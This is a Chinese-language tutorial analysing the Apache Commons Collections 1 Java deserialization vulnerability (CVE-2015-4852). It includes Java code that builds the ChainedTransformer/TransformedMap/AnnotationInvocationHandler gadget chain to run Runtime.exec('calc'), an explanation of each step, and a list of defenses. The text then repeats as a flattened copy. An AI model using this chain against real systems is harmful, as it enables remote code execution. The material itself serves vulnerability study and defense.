关于Commons-Collections1反序列化的思考
字数 1563 2025-08-25 22:58:46

Apache Commons Collections 反序列化漏洞深入分析

概述

本文详细分析Apache Commons Collections 1反序列化漏洞(CVE-2015-4852)的原理、利用方式和防御措施。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码,影响广泛使用Apache Commons Collections库的Java应用。

环境准备

  • JDK版本: 1.8.0_60
  • Commons-Collections版本: 3.2.1

漏洞原理

关键类分析

  1. Transformer接口及其实现类

    • ConstantTransformer: 总是返回构造时指定的常量对象
    • InvokerTransformer: 通过反射调用指定方法
    • ChainedTransformer: 将多个Transformer串联执行
  2. TransformedMap

    • 装饰器模式实现的Map
    • 可以在Map的键或值被修改时执行指定的Transformer
  3. AnnotationInvocationHandler

    • JDK内部类,用于处理注解
    • 其readObject方法会遍历并处理Map中的元素

漏洞利用链

  1. 构造恶意Transformer链:

    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
  2. 将Transformer链包装为ChainedTransformer:

    Transformer transformer = new ChainedTransformer(transformers);
    
  3. 创建TransformedMap并设置值转换器:

    Map innermap = new HashedMap();
    innermap.put("value", "value");
    Map transformedMap = TransformedMap.decorate(innermap, null, transformer);
    
  4. 通过反射创建AnnotationInvocationHandler实例:

    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object cs = constructor.newInstance(Retention.class, transformedMap);
    
  5. 序列化该对象并发送给目标应用

触发流程

  1. 目标应用反序列化恶意数据
  2. 调用AnnotationInvocationHandler的readObject方法
  3. readObject遍历Map元素时触发TransformedMap的value转换
  4. 执行ChainedTransformer中的Transformer链
  5. 最终通过反射调用Runtime.exec执行任意命令

关键点解析

  1. 为什么需要ChainedTransformer?

    • 单独一个InvokerTransformer无法完成完整的命令执行链
    • 需要多个Transformer按顺序执行: 获取Runtime -> 获取getRuntime方法 -> 调用getRuntime -> 执行命令
  2. 为什么Map必须包含"value"键?

    • AnnotationInvocationHandler处理时,var7会检查var6(key)对应的类
    • 只有"value"键能通过检查(var2.memberTypes()返回的Map中只包含value键)
  3. 为什么使用Retention.class?

    • 必须是注解类且包含value成员
    • 其他可用类包括: SuppressWarnings、Target、Repeatable
  4. setAccessible(true)的作用

    • AnnotationInvocationHandler的构造方法是私有的
    • 必须设置可访问性才能通过反射创建实例

防御措施

  1. 升级Commons-Collections到安全版本(3.2.2+)
  2. 使用JDK提供的序列化过滤器
  3. 避免反序列化不可信数据
  4. 使用安全框架如SerialKiller

变种与限制

  1. JDK高版本(8u71+)修复了AnnotationInvocationHandler的问题
  2. 可使用其他触发点如BadAttributeValueExpException
  3. 不同版本的Commons-Collections可能需要调整payload

总结

Apache Commons Collections反序列化漏洞展示了Java反序列化的危险性。理解其原理有助于开发者编写更安全的代码和安全人员更好地防御此类攻击。关键在于控制反序列化过程,验证输入数据,并及时更新依赖库。

Apache Commons Collections 反序列化漏洞深入分析 概述 本文详细分析Apache Commons Collections 1反序列化漏洞(CVE-2015-4852)的原理、利用方式和防御措施。该漏洞允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码,影响广泛使用Apache Commons Collections库的Java应用。 环境准备 JDK版本: 1.8.0_ 60 Commons-Collections版本: 3.2.1 漏洞原理 关键类分析 Transformer接口及其实现类 ConstantTransformer : 总是返回构造时指定的常量对象 InvokerTransformer : 通过反射调用指定方法 ChainedTransformer : 将多个Transformer串联执行 TransformedMap 装饰器模式实现的Map 可以在Map的键或值被修改时执行指定的Transformer AnnotationInvocationHandler JDK内部类,用于处理注解 其readObject方法会遍历并处理Map中的元素 漏洞利用链 构造恶意Transformer链: 将Transformer链包装为ChainedTransformer: 创建TransformedMap并设置值转换器: 通过反射创建AnnotationInvocationHandler实例: 序列化该对象并发送给目标应用 触发流程 目标应用反序列化恶意数据 调用AnnotationInvocationHandler的readObject方法 readObject遍历Map元素时触发TransformedMap的value转换 执行ChainedTransformer中的Transformer链 最终通过反射调用Runtime.exec执行任意命令 关键点解析 为什么需要ChainedTransformer? 单独一个InvokerTransformer无法完成完整的命令执行链 需要多个Transformer按顺序执行: 获取Runtime -> 获取getRuntime方法 -> 调用getRuntime -> 执行命令 为什么Map必须包含"value"键? AnnotationInvocationHandler处理时,var7会检查var6(key)对应的类 只有"value"键能通过检查(var2.memberTypes()返回的Map中只包含value键) 为什么使用Retention.class? 必须是注解类且包含value成员 其他可用类包括: SuppressWarnings、Target、Repeatable setAccessible(true)的作用 AnnotationInvocationHandler的构造方法是私有的 必须设置可访问性才能通过反射创建实例 防御措施 升级Commons-Collections到安全版本(3.2.2+) 使用JDK提供的序列化过滤器 避免反序列化不可信数据 使用安全框架如SerialKiller 变种与限制 JDK高版本(8u71+)修复了AnnotationInvocationHandler的问题 可使用其他触发点如BadAttributeValueExpException 不同版本的Commons-Collections可能需要调整payload 总结 Apache Commons Collections反序列化漏洞展示了Java反序列化的危险性。理解其原理有助于开发者编写更安全的代码和安全人员更好地防御此类攻击。关键在于控制反序列化过程,验证输入数据,并及时更新依赖库。